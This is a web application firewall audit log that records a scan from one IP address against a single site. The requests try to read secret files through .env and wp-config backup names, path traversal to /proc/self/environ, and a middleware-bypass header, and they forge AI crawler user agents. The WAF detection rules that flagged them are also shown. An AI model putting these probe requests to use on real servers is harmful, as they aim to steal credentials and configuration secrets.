Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "breveleyendatequila.com"] [uri "/userfiles"] [unique_id "aqZbQGM7dE9KgIIOpQhxMAAAAMA"]
Stopwatch: 1789287232458872 7064 (- - -)
Stopwatch2: 1789287232458872 7064; combined=5419, p1=268, p2=5018, p3=73, p4=8, p5=52, sr=116, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0c108a53-Z--

--851fb73d-A--
[13/Sep/2026:11:13:53.374996 +0300] aqZbQTTJ6xTvcJoem7f5wgAAAFI 34.21.80.87 37226 127.0.0.1 7081
--851fb73d-B--
GET /wp-config.php.bak HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--851fb73d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--851fb73d-E--

--851fb73d-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.bak"] [unique_id "aqZbQTTJ6xTvcJoem7f5wgAAAFI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.bak"] [unique_id "aqZbQTTJ6xTvcJoem7f5wgAAAFI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.bak"] [unique_id "aqZbQTTJ6xTvcJoem7f5wgAAAFI"]
Stopwatch: 1789287233336272 38775 (- - -)
Stopwatch2: 1789287233336272 38775; combined=34178, p1=631, p2=33354, p3=131, p4=10, p5=52, sr=295, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--851fb73d-Z--

--1ab8d42f-A--
[13/Sep/2026:11:13:53.402084 +0300] aqZbQWM7dE9KgIIOpQhxMQAAAMk 34.21.80.87 37232 127.0.0.1 7081
--1ab8d42f-B--
GET /userfiles?path=../../../../.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--1ab8d42f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--1ab8d42f-E--

--1ab8d42f-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "breveleyendatequila.com"] [uri "/userfiles"] [unique_id "aqZbQWM7dE9KgIIOpQhxMQAAAMk"]
Stopwatch: 1789287233396425 5708 (- - -)
Stopwatch2: 1789287233396425 5708; combined=4493, p1=249, p2=4120, p3=78, p4=8, p5=38, sr=125, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1ab8d42f-Z--

--25bf337f-A--
[13/Sep/2026:11:13:53.421884 +0300] aqZbQWM7dE9KgIIOpQhxMgAAAMI 34.21.80.87 37246 127.0.0.1 7081
--25bf337f-B--
GET /userfiles/x?path=../../../../proc/self/environ HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--25bf337f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--25bf337f-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "breveleyendatequila.com"] [uri "/userfiles/x"] [unique_id "aqZbQWM7dE9KgIIOpQhxMgAAAMI"]
Action: Intercepted (phase 2)
Stopwatch: 1789287233414278 7680 (- - -)
Stopwatch2: 1789287233414278 7680; combined=6123, p1=265, p2=4276, p3=0, p4=0, p5=1582, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--25bf337f-Z--

--ee6f574e-A--
[13/Sep/2026:11:13:53.440813 +0300] aqZbQSsVWymXUono-eRUOwAAABI 34.21.80.87 37260 127.0.0.1 7081
--ee6f574e-B--
GET /userfiles?path=../../../../proc/self/environ HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--ee6f574e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--ee6f574e-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "breveleyendatequila.com"] [uri "/userfiles"] [unique_id "aqZbQSsVWymXUono-eRUOwAAABI"]
Action: Intercepted (phase 2)
Stopwatch: 1789287233434588 6292 (- - -)
Stopwatch2: 1789287233434588 6292; combined=4713, p1=224, p2=4156, p3=0, p4=0, p5=333, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ee6f574e-Z--

--740c0f3f-A--
[13/Sep/2026:11:13:53.575418 +0300] aqZbQWM7dE9KgIIOpQhxMwAAANU 34.21.80.87 37268 127.0.0.1 7081
--740c0f3f-B--
GET /wp-config.php.old HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--740c0f3f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--740c0f3f-E--

--740c0f3f-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.old"] [unique_id "aqZbQWM7dE9KgIIOpQhxMwAAANU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.old"] [unique_id "aqZbQWM7dE9KgIIOpQhxMwAAANU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.old"] [unique_id "aqZbQWM7dE9KgIIOpQhxMwAAANU"]
Stopwatch: 1789287233540266 35497 (- - -)
Stopwatch2: 1789287233540266 35497; combined=33654, p1=328, p2=33128, p3=92, p4=11, p5=95, sr=131, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--740c0f3f-Z--

--2c72aa43-A--
[13/Sep/2026:11:13:53.946985 +0300] aqZbQTTJ6xTvcJoem7f5xAAAAEA 34.21.80.87 37280 127.0.0.1 7081
--2c72aa43-B--
GET /config/.env.php HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--2c72aa43-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--2c72aa43-E--

--2c72aa43-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/config/.env.php"] [unique_id "aqZbQTTJ6xTvcJoem7f5xAAAAEA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/config/.env.php"] [unique_id "aqZbQTTJ6xTvcJoem7f5xAAAAEA"]
Stopwatch: 1789287233911431 35692 (- - -)
Stopwatch2: 1789287233911431 35692; combined=33799, p1=313, p2=33217, p3=122, p4=58, p5=89, sr=181, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2c72aa43-Z--

--12a8c532-A--
[13/Sep/2026:11:13:54.023822 +0300] aqZbQjTJ6xTvcJoem7f5xQAAAFg 34.21.80.87 37296 127.0.0.1 7081
--12a8c532-B--
GET /laravel/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--12a8c532-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--12a8c532-E--

--12a8c532-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/laravel/.env"] [unique_id "aqZbQjTJ6xTvcJoem7f5xQAAAFg"]
Stopwatch: 1789287234016454 7436 (- - -)
Stopwatch2: 1789287234016454 7436; combined=5792, p1=365, p2=5278, p3=86, p4=10, p5=53, sr=183, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--12a8c532-Z--

--57e4b97c-A--
[13/Sep/2026:11:13:54.140101 +0300] aqZbQisVWymXUono-eRUPAAAAA8 34.21.80.87 37310 127.0.0.1 7081
--57e4b97c-B--
GET /core/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--57e4b97c-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--57e4b97c-E--

--57e4b97c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/core/.env"] [unique_id "aqZbQisVWymXUono-eRUPAAAAA8"]
Stopwatch: 1789287234133351 6822 (- - -)
Stopwatch2: 1789287234133351 6822; combined=5185, p1=366, p2=4676, p3=87, p4=10, p5=46, sr=179, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--57e4b97c-Z--

--f22c9835-A--
[13/Sep/2026:11:13:54.398136 +0300] aqZbQisVWymXUono-eRUPQAAAAo 34.21.80.87 37322 127.0.0.1 7081
--f22c9835-B--
GET /.env.php.bak HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--f22c9835-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--f22c9835-E--

--f22c9835-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/.env.php.bak"] [unique_id "aqZbQisVWymXUono-eRUPQAAAAo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/.env.php.bak"] [unique_id "aqZbQisVWymXUono-eRUPQAAAAo"]
Stopwatch: 1789287234364882 33309 (- - -)
Stopwatch2: 1789287234364882 33309; combined=32009, p1=238, p2=31642, p3=65, p4=8, p5=56, sr=96, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f22c9835-Z--

--a1ce0827-A--
[13/Sep/2026:11:13:54.437364 +0300] aqZbQisVWymXUono-eRUPgAAABg 34.21.80.87 37330 127.0.0.1 7081
--a1ce0827-B--
GET /config.php.bak HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--a1ce0827-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--a1ce0827-E--

--a1ce0827-H--
Message: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/config.php.bak"] [unique_id "aqZbQisVWymXUono-eRUPgAAABg"]
Stopwatch: 1789287234430928 6503 (- - -)
Stopwatch2: 1789287234430928 6503; combined=5178, p1=250, p2=4804, p3=70, p4=8, p5=46, sr=109, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a1ce0827-Z--

--d97ea348-A--
